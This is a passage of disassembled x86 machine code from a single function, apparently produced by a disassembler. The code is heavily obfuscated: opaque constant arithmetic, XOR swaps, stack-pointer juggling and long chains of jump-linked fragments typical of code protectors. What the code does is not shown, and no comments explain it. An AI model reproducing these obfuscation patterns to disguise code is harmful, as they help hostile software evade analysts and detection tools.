		add	ebp, 4
		xchg	ebp, [esp-6E84h+arg_6E7C]
		pop	esp
		push	edx
		mov	edx, esp
		jmp	loc_5932D7
; ---------------------------------------------------------------------------


loc_599E97:				; CODE XREF: sub_581EE9+10964j
		push	1710h
		mov	[esp+0], eax
		push	edx
		mov	edx, 1B0A12D9h
		push	edx
		mov	edx, 70C03994h
		add	[esp+8], edx
		pop	edx
		add	[esp+4], edx
		sub	dword ptr [esp+4], 70C03994h
		pop	edx
		pop	ebx
		sub	ebx, 1B0A12D9h
		jmp	loc_59729F
; ---------------------------------------------------------------------------


loc_599EC9:				; CODE XREF: sub_581EE9+1A0F9j
		mov	[esp-6EBCh+arg_6EB2+2],	esp
		jmp	loc_5A4023
; ---------------------------------------------------------------------------


loc_599ED1:				; CODE XREF: sub_581EE9+177E2j
		mov	ebp, 473E243Eh
		push	ebx
		mov	ebx, 120536DBh
		jmp	loc_594766
; ---------------------------------------------------------------------------


loc_599EE1:				; CODE XREF: sub_581EE9+1372Bj
		pop	[esp-6E94h+arg_6E8A+2]
		pop	esp
		div	cx
		jmp	loc_594709
; ---------------------------------------------------------------------------


loc_599EED:				; CODE XREF: sub_581EE9+1DF2Fj
		xor	edi, [esp-6E9Ch+arg_6E92+2]
		xor	[esp-6E9Ch+arg_6E92+2],	edi
		jmp	loc_5951F4
; ---------------------------------------------------------------------------


loc_599EF8:				; CODE XREF: sub_581EE9+18BE3j
		pop	eax
		sub	esp, 4
		mov	[esp-6E9Ch+arg_6E92+2],	eax
		mov	eax, 8126A7Ah
		jmp	loc_59ADA1
; ---------------------------------------------------------------------------


loc_599F09:				; CODE XREF: sub_581EE9+104CDj
		mov	[esp-6EA8h+arg_6E9E+2],	esi
		mov	esi, esp
		jmp	loc_593184
; ---------------------------------------------------------------------------


loc_599F13:				; CODE XREF: sub_581EE9+10EE7j
		not	cl
		shr	cl, 7
		sub	cl, 28h
		jmp	loc_598E5C
; ---------------------------------------------------------------------------


loc_599F20:				; CODE XREF: sub_581EE9+1D4E3j
		and	edi, esi
		pop	esi
		jmp	loc_5943D4
; ---------------------------------------------------------------------------


loc_599F28:				; CODE XREF: sub_581EE9+23CCBj
		add	ecx, 4
		push	edi
		mov	edi, 4
		add	ecx, edi
		jmp	loc_59B9C1
; ---------------------------------------------------------------------------


loc_599F3B:				; CODE XREF: sub_581EE9+12856j
		mov	ebx, esp
		push	esi
		jmp	loc_59BBE0
; ---------------------------------------------------------------------------


loc_599F43:				; CODE XREF: sub_581EE9+227C2j
		mov	[esp-6E6Ah+arg_6E60+2],	edx
		mov	dh, 0B8h
		mov	bl, dh
		pop	edx
		mov	cl, bl
		jmp	loc_59E4C2
; ---------------------------------------------------------------------------


loc_599F52:				; CODE XREF: sub_581EE9+15D7Aj
		pop	[esp-6E6Eh+arg_6E64+2]
		jmp	loc_5A26E8
; ---------------------------------------------------------------------------


loc_599F5A:				; CODE XREF: sub_581EE9+13871j
		add	ebp, eax
		mov	eax, [esp-6E46h+arg_6E3E]
		push	ecx
		jmp	loc_5A5541
; ---------------------------------------------------------------------------


loc_599F65:				; CODE XREF: sub_581EE9+10E90j
		push	esp
		jmp	loc_594D46
; ---------------------------------------------------------------------------


loc_599F6B:				; CODE XREF: sub_581EE9+17C2Cj
		and	al, bh
		jmp	loc_599883
; ---------------------------------------------------------------------------


loc_599F72:				; CODE XREF: sub_581EE9+1E710j
		add	eax, 132C268Dh
		sub	eax, ebx
		jmp	loc_59C6E2
; ---------------------------------------------------------------------------


loc_599F7E:				; CODE XREF: sub_581EE9+248A5j
		sub	di, 74DFh
		sub	di, 198Dh
		add	di, bp
		push	edx
		jmp	loc_59C455
; ---------------------------------------------------------------------------


loc_599F91:				; CODE XREF: sub_581EE9+24E78j
		mov	ebx, 647E2B5Eh
		or	ecx, ebx
		pop	ebx
		shr	ecx, 2
		add	ecx, 2F9C2781h
		add	edi, ecx
		jmp	loc_59A483
; ---------------------------------------------------------------------------


loc_599FA9:				; CODE XREF: sub_581EE9+19D2Dj
		push	5A1Ah
		mov	[esp-6E46h+arg_6E3E], ebx
		mov	ebx, 77563CAh
		not	ebx
		jmp	loc_5930E4
; ---------------------------------------------------------------------------


loc_599FBD:				; CODE XREF: sub_581EE9+1B43Cj
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp-6E46h+arg_6E3E]
		pop	esp
		sub	eax, 4
		jmp	loc_593C6F
; ---------------------------------------------------------------------------


loc_599FD4:				; CODE XREF: sub_581EE9+1A468j
		mov	ch, 0Dh
		push	edx
		push	ecx
		mov	cl, 6Fh
		jmp	loc_5985B1
; ---------------------------------------------------------------------------


loc_599FDF:				; CODE XREF: sub_581EE9+1FFA1j
		mov	eax, esp
		jmp	loc_597B3F
; ---------------------------------------------------------------------------


loc_599FE6:				; CODE XREF: sub_581EE9+220B8j
		neg	ecx
		jmp	loc_59F878
; ---------------------------------------------------------------------------


loc_599FED:				; CODE XREF: sub_581EE9+154D5j
		pop	ebx
		mov	esi, edx
		jmp	loc_598FA0
; ---------------------------------------------------------------------------


loc_599FF5:				; CODE XREF: sub_581EE9+1A365j
		push	eax
		mov	eax, 34C75D92h
		jmp	loc_59361B
; ---------------------------------------------------------------------------


loc_59A000:				; CODE XREF: sub_581EE9+234B3j
		mov	eax, 5F6A1968h
		sub	edi, eax
		pop	eax
		sub	edi, ecx
		add	edi, 5F6A1968h
		mov	ecx, dword ptr [esp-6E82h+arg_6E7A]
		add	esp, 4
		std
		push	eax
		mov	eax, 1F0610Fh
		push	326h
		mov	[esp-6E7Eh+arg_6E76], edx
		push	ebx
		jmp	loc_5A1E51
; ---------------------------------------------------------------------------


loc_59A02E:				; CODE XREF: sub_581EE9+22295j
		sub	esp, 4
		jmp	loc_591F93
; ---------------------------------------------------------------------------


loc_59A036:				; CODE XREF: sub_581EE9+1BC2Cj
		add	ecx, eax
		pop	eax
		push	ebx
		mov	ebx, 58BF66F2h
		sub	eax, ebx
		jmp	loc_599C6D
; ---------------------------------------------------------------------------


loc_59A046:				; CODE XREF: sub_581EE9+1D6A0j
		push	ecx
		push	eax
		mov	eax, 41895821h
		sub	[esp-6E6Eh+arg_6E68+2],	eax
		pop	eax
		mov	edx, [esp-6E72h+arg_6E68+2]
		add	esp, 4
		add	edx, 41895821h
		pop	ecx
		xor	edi, edx
		mov	edx, [esp-6E7Ah+arg_6E72]
		add	esp, 4
		xor	esi, edi
		jmp	loc_5A4921
; ---------------------------------------------------------------------------


loc_59A06E:				; CODE XREF: sub_581EE9+24CAFj
		shr	ebp, 8
		push	ebp
		neg	[esp-6E7Ah+arg_6E72]
		jmp	loc_59C321
; ---------------------------------------------------------------------------


loc_59A07A:				; CODE XREF: sub_581EE9+11A13j
		pop	ebx
		push	ecx
		mov	ecx, 5E074AC3h
		shr	ecx, 7
		neg	ecx
		not	ecx
		jmp	loc_5A18CE
; ---------------------------------------------------------------------------


loc_59A08D:				; CODE XREF: sub_581EE9+11F98j
		xchg	esi, [esp+0]
		pop	esp
		xor	bl, al
		jmp	loc_59E750
; ---------------------------------------------------------------------------


loc_59A098:				; CODE XREF: sub_581EE9+11548j
		xchg	ebp, [esp-6E7Ah+arg_6E72]
		jmp	loc_597168
; ---------------------------------------------------------------------------


loc_59A0A0:				; CODE XREF: sub_581EE9+213ADj
		xor	ebx, 0FBFEF85h
		add	eax, ebx
		pop	ebx
		add	eax, 4
		xchg	eax, [esp-6E7Eh+arg_6E76]
		mov	esp, [esp-6E7Eh+arg_6E76]
		and	eax, ebp
		pop	ebp
		or	eax, eax
		jz	loc_5A1D2F
		push	dword ptr [edi+28h]
		sub	esp, 4
		jmp	loc_5A2CDC
; ---------------------------------------------------------------------------


loc_59A0CA:				; CODE XREF: sub_581EE9+1E497j
		mov	ebp, edx
		jmp	loc_59B52D
; ---------------------------------------------------------------------------


loc_59A0D1:				; CODE XREF: sub_581EE9+1F51Fj
		pop	edi
		push	5867h
		mov	[esp-6E7Ah+arg_6E72], edx
		jmp	loc_59C042
; ---------------------------------------------------------------------------


loc_59A0DF:				; CODE XREF: sub_581EE9+19FF8j
		push	small 33B7h
		mov	word ptr [esp-6E78h+arg_6E6E+2], bx
		xchg	dh, byte ptr [esp-6E78h+arg_6E6E+3]
		not	dh
		xor	byte ptr [esp-6E78h+arg_6E6E+3], dh
		xor	dh, byte ptr [esp-6E78h+arg_6E6E+3]
		xor	byte ptr [esp-6E78h+arg_6E6E+3], dh
		pop	bx
		jmp	loc_593390
; ---------------------------------------------------------------------------


loc_59A100:				; CODE XREF: sub_581EE9+10BC9j
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_597EBB
; ---------------------------------------------------------------------------


loc_59A110:				; CODE XREF: sub_581EE9+187BEj
		mov	ebx, 1C193B1Ch
		jmp	loc_59BCA1
; ---------------------------------------------------------------------------


loc_59A11A:				; CODE XREF: sub_581EE9+19148j
		add	esp, 4
		mov	edx, [esp-6EA6h+arg_6E9E]
		add	esp, 4
		add	ecx, 50EE5037h
		sub	ecx, 47AC7F81h
		add	ecx, ebx
		add	ecx, 47AC7F81h
		sub	ecx, 50EE5037h
		push	dword ptr [esp-6EAAh+arg_6EA2]
		pop	ebx
		add	esp, 4
		sub	esp, 4
		jmp	loc_59315E
; ---------------------------------------------------------------------------


loc_59A14F:				; CODE XREF: sub_581EE9+2458Cj
		pop	edi
		xor	edx, [esp-6EAEh+arg_6EA4+2]
		xor	[esp-6EAEh+arg_6EA4+2],	edx
		xor	edx, [esp-6EAEh+arg_6EA4+2]
		pop	esp
		push	ebx
		mov	ebx, 30B87F1Fh
		shr	ebx, 4
		sub	ebx, 7BFB61DFh
		jmp	loc_597E3A
; ---------------------------------------------------------------------------


loc_59A16E:				; CODE XREF: sub_581EE9+18CA3j
		xor	cl, 0DBh
		add	bl, cl
		pop	ecx
		sub	bl, al
		jmp	loc_5954BD
; ---------------------------------------------------------------------------


loc_59A17B:				; CODE XREF: sub_581EE9+1403Dj
		mov	esp, [esp-6E5Ah+arg_6E50+2]
		push	[esp-6E5Ah+arg_6E50+2]
		jmp	loc_5A4E63
; ---------------------------------------------------------------------------


loc_59A186:				; CODE XREF: sub_581EE9+2061Bj
		pop	eax
		add	ebx, edi
		push	esi
		jmp	loc_5A4AB8
; ---------------------------------------------------------------------------


loc_59A18F:				; CODE XREF: sub_581EE9+1450Fj
		neg	esi
		jmp	loc_5A51E5
; ---------------------------------------------------------------------------


loc_59A196:				; CODE XREF: sub_581EE9+1E55Aj
		push	7423172Eh
		pop	esi
		and	esi, 6CF7084Eh
		add	esi, 0FFFFFFFFh
		and	esi, 463F3722h
		add	esi, 0CB1526F8h
		xor	edx, esi
		pop	esi
		jmp	loc_59DD89
; ---------------------------------------------------------------------------


loc_59A1B9:				; CODE XREF: sub_581EE9+1E972j
		sub	al, 98h
		add	al, 0BFh
		jmp	loc_59399F
; ---------------------------------------------------------------------------


loc_59A1C2:				; CODE XREF: sub_581EE9+13430j
		add	ecx, 4
		add	ecx, 4
		jmp	loc_59A88E
; ---------------------------------------------------------------------------


loc_59A1D3:				; CODE XREF: sub_581EE9+2278Bj
		mov	[esp-6E76h+arg_6E6E], ecx
		mov	ecx, 54B35168h
		jmp	loc_598D4A
; ---------------------------------------------------------------------------


loc_59A1E0:				; CODE XREF: sub_581EE9+1A8B8j
		add	esp, 4
		jmp	loc_59F62B
; ---------------------------------------------------------------------------


loc_59A1EB:				; CODE XREF: sub_581EE9+213F0j
		pop	esi
		add	eax, 41C84CF4h
		shl	eax, 7
		jmp	loc_5A6249
; ---------------------------------------------------------------------------


loc_59A1F9:				; CODE XREF: sub_581EE9+22B23j
		xchg	ebx, [esp-6E7Eh+arg_6E76]
		jmp	loc_5970D4
; ---------------------------------------------------------------------------


loc_59A201:				; CODE XREF: sub_581EE9+203DDj
		xor	[esp-6E7Eh+arg_6E76], ebp
		xor	ebp, [esp-6E7Eh+arg_6E76]
		mov	esp, [esp-6E7Eh+arg_6E76]
		push	1636h
		jmp	loc_598BEC
; ---------------------------------------------------------------------------


loc_59A214:				; CODE XREF: sub_581EE9+14B01j
		push	esi
		push	ecx
		mov	ecx, 6DE64319h
		sub	ecx, 4EED06FBh
		and	ecx, 4E1310CAh
		add	ecx, 659F503Bh
		xor	ecx, 41F14E7Bh
		shl	ecx, 1
		xor	ecx, 4AFC3A72h
		inc	ecx
		push	edi
		mov	edi, 2F7947B1h
		shr	edi, 5
		xor	edi, 1133EB05h
		or	ecx, edi
		push	[esp-6E56h+arg_6E4C+2]
		pop	edi
		add	esp, 4
		shr	ecx, 6
		jmp	loc_5A4818
; ---------------------------------------------------------------------------


loc_59A25C:				; CODE XREF: sub_581EE9+1CEB6j
		mov	ecx, [esp-6E5Ah+arg_6E50+2]
		add	esp, 4
		jmp	loc_595CC3
; ---------------------------------------------------------------------------


loc_59A267:				; CODE XREF: sub_581EE9+103D5j
		pop	esi
		sub	esi, 3260049h
		mov	ebx, esi
		mov	esi, [esp-6EA8h+arg_6E9E+2]
		add	esp, 4
		sub	ecx, 441B63F8h
		add	ecx, ebx
		add	ecx, 441B63F8h
		pop	ebx
		jmp	loc_5A6589
; ---------------------------------------------------------------------------


loc_59A28A:				; CODE XREF: sub_581EE9+22F6Dj
		neg	edi
		dec	edi
		sub	edi, 9F8D3BB4h
		shr	edi, 5
		shr	edi, 8
		jmp	loc_59E861
; ---------------------------------------------------------------------------


loc_59A29E:				; CODE XREF: sub_581EE9+19C2Fj
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	esi
		mov	esi, 4
		add	ebx, esi
		mov	esi, [esp-6EA8h+arg_6E9E+2]
		add	esp, 4
		xchg	ebx, [esp-6EACh+arg_6EA4]
		pop	esp
		xor	al, dl
		pop	edx
		push	2F97h
		jmp	loc_59E6C0
; ---------------------------------------------------------------------------


loc_59A2C9:				; CODE XREF: sub_581EE9+1AE71j
		mov	ebx, 7A427380h
		xor	edx, ebx
		pop	ebx
		or	eax, edx
		pop	edx
		xor	eax, 30DA77E9h
		and	eax, 65555349h
		push	ebx
		jmp	loc_5A064A
; ---------------------------------------------------------------------------


loc_59A2E4:				; CODE XREF: sub_581EE9+22FF3j
		mov	[esp-6EB4h+arg_6EAC], eax
		push	ebx
		mov	bl, 0ACh
		push	edx
		mov	dl, 67h
		shl	dl, 1
		not	dl
		jmp	loc_5A4248
; ---------------------------------------------------------------------------


loc_59A2F6:				; CODE XREF: sub_581EE9+1DBD7j
		xor	ecx, 690044B7h
		mov	eax, ecx
		pop	ecx
		sub	edi, 604B6405h
		jmp	loc_5A3405
; ---------------------------------------------------------------------------


loc_59A30A:				; CODE XREF: sub_581EE9+1AB7Ej
		push	4070h
		mov	[esp-6EACh+arg_6EA4], ebx
		mov	ebx, 4
		jmp	loc_592368
; ---------------------------------------------------------------------------


loc_59A31C:				; CODE XREF: sub_581EE9+11EDAj
		push	edi
		push	edx
		mov	edx, 10124BCFh
		dec	edx
		jmp	loc_59F76C
; ---------------------------------------------------------------------------


loc_59A329:				; CODE XREF: sub_581EE9+248F8j
		mov	[esp-6E92h+arg_6E8A], ebx
		push	esi
		push	243718CAh
		mov	esi, [esp-6E8Ah+arg_6E80+2]
		jmp	loc_5952F4
; ---------------------------------------------------------------------------


loc_59A33A:				; CODE XREF: sub_581EE9+1DFF3j
		sub	ecx, 7740259Fh
		add	ecx, edx
		add	ecx, 7740259Fh
		sub	ecx, 4F080C0Bh
		jmp	loc_5996EE
; ---------------------------------------------------------------------------


loc_59A353:				; CODE XREF: sub_581EE9+14532j
		mov	ebp, ecx
		jmp	loc_599CF5
; ---------------------------------------------------------------------------


loc_59A35A:				; CODE XREF: sub_581EE9+1CA0Dj
		sub	ch, dh
		jmp	loc_5A0FD1
; ---------------------------------------------------------------------------


loc_59A361:				; CODE XREF: sub_581EE9+2501Cj
		pop	edi
		neg	ebx
		shr	ebx, 7
		sub	ebx, 118DCAFh
		add	edi, 0E0A0322h
		add	edi, ebx
		jmp	loc_5A4A84
; ---------------------------------------------------------------------------


loc_59A37A:				; CODE XREF: sub_581EE9+17800j
		mov	[esp-6E7Ah+arg_6E72], esi
		sub	esp, 4
		jmp	loc_5A54E8
; ---------------------------------------------------------------------------


loc_59A388:				; CODE XREF: sub_581EE9+18FBAj
		xchg	edi, [esp-6E76h+arg_6E6E]
		pop	esp
		jmp	loc_59E70C
; ---------------------------------------------------------------------------


loc_59A391:				; CODE XREF: sub_581EE9+150BEj
		mov	edx, 7312447Bh
		jmp	loc_59E1FC
; ---------------------------------------------------------------------------


loc_59A39B:				; CODE XREF: sub_581EE9+17AFEj
		add	esp, 4
		sub	esp, 4
		mov	[esp-6E9Eh+arg_6E96], ebp
		jmp	loc_59A5EC
; ---------------------------------------------------------------------------


loc_59A3AC:				; CODE XREF: sub_581EE9+1DF93j
		pop	bx
		mov	ch, dl
		push	[esp-6EA0h+arg_6E96+2]
		mov	edx, [esp-6E9Ch+arg_6E92+2]
		add	esp, 4
		jmp	loc_5A2342
; ---------------------------------------------------------------------------


loc_59A3BE:				; CODE XREF: sub_581EE9+21730j
		add	esp, 4
		jmp	loc_598B47
; ---------------------------------------------------------------------------


loc_59A3C9:				; CODE XREF: sub_581EE9+1013Bj
		push	ecx
		jmp	loc_592EEA
; ---------------------------------------------------------------------------


loc_59A3CF:				; CODE XREF: sub_581EE9+11F6Bj
		mov	edx, [esp-6E92h+arg_6E8A]
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp-6E8Eh+arg_6E84+2]
		pop	esp
		add	esi, 2
		xor	esi, [esp-6E92h+arg_6E8A]
		xor	[esp-6E92h+arg_6E8A], esi
		jmp	loc_5A5671
; ---------------------------------------------------------------------------


loc_59A3F6:				; CODE XREF: sub_581EE9+2212Bj
		pop	esp
		shr	ecx, 6
		push	76A9h
		mov	[esp-6E92h+arg_6E8A], ebx
		jmp	loc_59FF84
; ---------------------------------------------------------------------------


loc_59A407:				; CODE XREF: sub_581EE9+11FE7j
		and	ecx, 4A0266EDh
		not	ecx
		xor	ecx, 6B934548h
		dec	ecx
		inc	ecx
		add	ecx, 0B229B487h
		mov	edx, ecx
		pop	ecx
		sub	edx, ebx
		pop	ebx
		add	eax, edx
		mov	edx, [esp-6E9Eh+arg_6E96]
		add	esp, 4
		push	eax
		push	[esp-6E9Eh+arg_6E9A]
		pop	eax
		pop	[esp-6E9Eh+arg_6E96]
		pop	esp
		add	ebp, 4
		push	esi
		mov	esi, 1C0B5E83h
		shr	esi, 4
		sub	esi, 11543540h
		neg	esi
		jmp	loc_5A41BD
; ---------------------------------------------------------------------------


loc_59A451:				; CODE XREF: sub_581EE9+23D28j
		mov	eax, 2
		add	esi, eax
		push	[esp-6EA2h+arg_6E9A]
		push	[esp-6E9Eh+arg_6E96]
		pop	eax
		add	esp, 4
		add	esp, 4
		push	esi
		push	[esp-6EA2h+arg_6E9E]
		jmp	loc_59FFBB
; ---------------------------------------------------------------------------


loc_59A472:				; CODE XREF: sub_581EE9+236EDj
		add	edi, 0EF3CB724h
		mov	esi, edi
		pop	edi
		add	edi, esi
		pop	esi
		jmp	loc_5A1F4D
; ---------------------------------------------------------------------------


loc_59A483:				; CODE XREF: sub_581EE9+180BBj
		pop	ecx
		sub	edi, 20FA2EA4h
		add	edi, esi
		add	edi, 20FA2EA4h
		push	ebx
		mov	ebx, 6D5C0380h
		sub	edi, ebx
		pop	ebx
		pop	esi
		push	798h
		mov	[esp-6E4Eh+arg_6E44+2],	eax
		mov	eax, 5BCC0DEEh
		and	eax, 15A36D48h
		shl	eax, 5
		sub	eax, 3001A8FCh
		add	edi, eax
		pop	eax
		xchg	edi, [esp-6E52h+arg_6E48+2]
		mov	esp, [esp-6E52h+arg_6E48+2]
		push	ebp
		mov	ebp, 1CE572C0h
		add	[esp-6E4Eh+arg_6E48+2],	1CB04BE4h
		add	[esp-6E4Eh+arg_6E48+2],	0BBA58DDh
		jmp	loc_5926FE
; ---------------------------------------------------------------------------


loc_59A4DA:				; CODE XREF: sub_581EE9+2160Aj
		mov	cl, 6Ch
		push	edx
		mov	dh, cl
		mov	bh, dh
		jmp	loc_59F985
; ---------------------------------------------------------------------------


loc_59A4E6:				; CODE XREF: sub_581EE9+17440j
		pop	edx
		jmp	loc_5965CE
; ---------------------------------------------------------------------------


loc_59A4EC:				; CODE XREF: sub_581EE9+1DD1Fj
		xor	esi, [esp]
		jmp	loc_5A44A2
; ---------------------------------------------------------------------------


loc_59A4F4:				; CODE XREF: sub_581EE9+1FB50j
		mov	[esp-6EA6h+arg_6E9E], ebx
		jmp	loc_5A1C8A
; ---------------------------------------------------------------------------


loc_59A4FC:				; CODE XREF: sub_581EE9+11605j
		pop	ebx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		push	ecx
		jmp	loc_5A168E
; ---------------------------------------------------------------------------


loc_59A50F:				; CODE XREF: sub_581EE9+19C49j
		xor	ecx, 0ADBD5507h
		add	edi, ecx
		pop	ecx
		not	edi
		and	edi, 20424ABFh
		add	edi, 3A65F3EDh
		xor	ebp, edi
		pop	edi
		xor	eax, ebp
		jmp	loc_5A5B3F
; ---------------------------------------------------------------------------


loc_59A530:				; CODE XREF: sub_581EE9+14F5Cj
		pop	eax
		push	eax
		jmp	loc_59E971
; ---------------------------------------------------------------------------


loc_59A537:				; CODE XREF: sub_581EE9+17486j
		add	ecx, edi
		pop	edi
		xchg	ecx, [esp-6E6Ah+arg_6E60+2]
		pop	esp
		add	ebx, 2
		xor	ebx, [esp-6E6Eh+arg_6E64+2]
		xor	[esp-6E6Eh+arg_6E64+2],	ebx
		xor	ebx, [esp-6E6Eh+arg_6E64+2]
		mov	esp, [esp-6E6Eh+arg_6E64+2]
		mov	cx, word ptr [esp-6E6Eh+arg_6E64+2]
		push	eax
		mov	eax, esp
		push	ebp
		mov	ebp, 4
		jmp	loc_5A5A30
; ---------------------------------------------------------------------------


loc_59A55F:				; CODE XREF: sub_581EE9+22FDBj
		sub	ebx, 88CA6E1Fh
		jmp	loc_5A0694
; ---------------------------------------------------------------------------


loc_59A56A:				; CODE XREF: sub_581EE9+1E3E9j
		mov	edx, [esp-6E66h+arg_6E5C+2]
		add	esp, 4
		push	edi
		mov	edi, 4
		add	edx, edi
		pop	edi
		sub	esp, 4
		mov	[esp-6E66h+arg_6E5C+2],	eax
		mov	eax, 42A8252Eh
		xor	eax, 42A8252Ch
		add	edx, 54E80B94h
		add	edx, eax
		sub	edx, 54E80B94h
		jmp	loc_598F38
; ---------------------------------------------------------------------------


loc_59A59F:				; CODE XREF: sub_581EE9+1628Bj
		or	ecx, 3609365Ah
		inc	ecx
		shr	ecx, 3
		jmp	loc_5A4428
; ---------------------------------------------------------------------------


loc_59A5AE:				; CODE XREF: sub_581EE9+18788j
		push	edx
		mov	edx, 164347B4h
		mov	ecx, edx
		pop	edx
		jmp	loc_59D067
; ---------------------------------------------------------------------------


loc_59A5BC:				; CODE XREF: sub_581EE9+16997j
		xor	ebx, [esp-6E7Ah+arg_6E72]
		mov	esp, [esp-6E7Ah+arg_6E72]
		jmp	loc_5A47C5
; ---------------------------------------------------------------------------


loc_59A5C7:				; CODE XREF: sub_581EE9+21527j
		add	esp, 4
		jmp	loc_598042
; ---------------------------------------------------------------------------


loc_59A5D2:				; CODE XREF: sub_581EE9+226C9j
		add	esp, 4
		push	3B77h
		jmp	loc_59FBDF
; ---------------------------------------------------------------------------


loc_59A5E2:				; CODE XREF: sub_581EE9+13F0Dj
		mov	ecx, 61BB7491h
		jmp	loc_5A6185
; ---------------------------------------------------------------------------


loc_59A5EC:				; CODE XREF: sub_581EE9+184BEj
		mov	ebp, 5B4D186Dh
		jmp	loc_59993E
; ---------------------------------------------------------------------------


loc_59A5F6:				; CODE XREF: sub_581EE9+10FFCj
		and	ebx, 778A0B2Bh
		jmp	loc_5A2F1D
; ---------------------------------------------------------------------------


loc_59A601:				; CODE XREF: sub_581EE9+16A1Dj
		pop	eax
		jmp	loc_5A6293
; ---------------------------------------------------------------------------


loc_59A607:				; CODE XREF: sub_581EE9+10F2Aj
		pop	ecx
		sub	esi, 69FD7F0Ch
		add	esi, 2B8C62C0h
		add	esi, edi
		sub	esi, 2B8C62C0h
		push	eax
		mov	eax, 78756944h
		xor	eax, 40074482h
		or	eax, 96370BDh
		sub	eax, 23AD5D8Ah
		or	eax, 643E1E9Eh
		add	eax, 0F3FF400Dh
		add	esi, eax
		pop	eax
		pop	edi
		jmp	loc_59BC4D
; ---------------------------------------------------------------------------


loc_59A644:				; CODE XREF: sub_581EE9+13E28j
		mov	esp, [esp+0]
		mov	[esp+0], edx
		push	ecx
		mov	ch, 5Fh
		push	ebx
		mov	bh, 0B7h
		shl	bh, 2
		dec	bh
		sub	bh, 21h
		push	edx
		mov	dh, 6Dh
		shr	dh, 6
		sub	dh, 1Ah
		dec	dh
		sub	dh, 0Eh
		sub	bh, dh
		pop	edx
		jmp	loc_59CA6C
; ---------------------------------------------------------------------------


loc_59A66E:				; CODE XREF: sub_581EE9+1E30Dj
		mov	[esp-6E6Ch+arg_6E64], ecx
		jmp	loc_59A5AE
; ---------------------------------------------------------------------------


loc_59A676:				; CODE XREF: sub_581EE9+21CDFj
		mov	ebp, 48D81F09h
		sub	esi, ebp
		pop	ebp
		add	esi, 60FC2F44h
		push	dword ptr [esp]
		pop	ebp
		push	456Ah
		mov	[esp-6E6Ch+arg_6E64], edx
		push	esp
		pop	edx
		jmp	loc_59B6E9
; ---------------------------------------------------------------------------


loc_59A697:				; CODE XREF: sub_581EE9+123F0j
		xchg	ebx, [esp-6E7Eh+arg_6E76]
		jmp	loc_595375
; ---------------------------------------------------------------------------


loc_59A69F:				; CODE XREF: sub_581EE9+10B97j
		push	7629h
		mov	[esp-6EAEh+arg_6EA4+2],	ebx
		jmp	loc_59A110
; ---------------------------------------------------------------------------


loc_59A6AC:				; CODE XREF: sub_581EE9+2332Aj
		pop	esi
		xor	ecx, 3DAB6EC0h
		add	ecx, 45C03080h
		inc	ecx
		dec	ecx
		jmp	loc_5A0CB9
; ---------------------------------------------------------------------------


loc_59A6C0:				; CODE XREF: sub_581EE9+1D6C7j
		mov	ebp, 4
		add	edx, ebp
		pop	ebp
		add	edx, 4
		xchg	edx, [esp-6EB6h+arg_6EAC+2]
		mov	esp, [esp-6EB6h+arg_6EAC+2]
		jmp	loc_5A54C3
; ---------------------------------------------------------------------------


loc_59A6D6:				; CODE XREF: sub_581EE9+17462j
		pop	ebx
		neg	ebx
		or	ebx, 55D3BBBh
		sub	ebx, 76109AF5h
		mov	esi, ebx
		pop	ebx
		sub	esi, 1
		push	edi
		mov	edi, 758D35D9h
		sub	esi, 1465BBAh
		sub	esi, 424402BDh
		sub	esi, edi
		add	esi, 424402BDh
		add	esi, 1465BBAh
		pop	edi
		jmp	loc_5A3AC7
; ---------------------------------------------------------------------------


loc_59A714:				; CODE XREF: sub_581EE9+168FFj
		mov	esp, [esp-6E98h+arg_6E8E+2]
		push	7C90h
		mov	[esp-6E94h+arg_6E8A+2],	edi
		push	772C1164h
		pop	edi
		push	eax
		mov	eax, 1870216Ah
		push	eax
		not	[esp-6E8Ch+arg_6E84]
		pop	eax
		push	ebx
		mov	ebx, 1A787ABCh
		not	ebx
		inc	ebx
		sub	ebx, 0DC381F6Ah
		sub	esp, 4
		jmp	loc_597A89
; ---------------------------------------------------------------------------


loc_59A747:				; CODE XREF: sub_581EE9+19E39j
		sub	ax, di
		pop	edi
		sub	esp, 2
		mov	word ptr [esp-6E88h+arg_6E80], ax
		jmp	loc_5A6814
; ---------------------------------------------------------------------------


loc_59A757:				; CODE XREF: sub_581EE9+1A00Aj
		push	ecx
		mov	ecx, 4
		add	ebx, ecx
		mov	ecx, [esp-6E84h+arg_6E7C]
		jmp	loc_5A60FC
; ---------------------------------------------------------------------------


loc_59A767:				; CODE XREF: sub_581EE9+12AE3j
		mov	dl, bh
		mov	ah, dl
		pop	edx
		not	ah
		mov	bh, ah
		mov	eax, [esp-6E6Ch+arg_6E64]
		add	esp, 4
		push	74B3h
		mov	[esp-6E6Ch+arg_6E64], eax
		mov	al, 91h
		jmp	loc_59352A
; ---------------------------------------------------------------------------


loc_59A785:				; CODE XREF: sub_581EE9+1F55Cj
		mov	ebx, [esp-6E6Ch+arg_6E64]
		add	esp, 4
		jmp	loc_59FFA0
; ---------------------------------------------------------------------------


loc_59A790:				; CODE XREF: sub_581EE9+15890j
		xor	edi, 16D5FF79h
		push	26B8h
		jmp	loc_599602
; ---------------------------------------------------------------------------


loc_59A7A0:				; CODE XREF: sub_581EE9+22A60j
		pop	eax
		jmp	loc_59D753
; ---------------------------------------------------------------------------


loc_59A7A6:				; CODE XREF: sub_581EE9+1A3ADj
		dec	esi
		not	esi
		and	esi, 54BB1A79h
		add	esi, 10604AAEh
		mov	eax, esi
		jmp	loc_5A5606
; ---------------------------------------------------------------------------


loc_59A7BC:				; CODE XREF: sub_581EE9+228D7j
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp-6E88h+arg_6E80]
		pop	esp
		jmp	loc_593BB4
; ---------------------------------------------------------------------------


loc_59A7D4:				; CODE XREF: sub_581EE9+21904j
		shr	dl, 2
		shr	dl, 5
		push	68CFh
		mov	[esp-6E88h+arg_6E80], ecx
		push	edx
		mov	dl, 0A4h
		push	eax
		mov	al, dl
		mov	ch, al
		pop	eax
		pop	edx
		neg	ch
		jmp	loc_59894C
; ---------------------------------------------------------------------------


loc_59A7F3:				; CODE XREF: sub_581EE9+19FE8j
		mov	ebp, 92918196h
		add	esi, ebp
		pop	ebp
		add	edx, 96F54C2h
		add	edx, esi
		sub	edx, 96F54C2h
		pop	esi
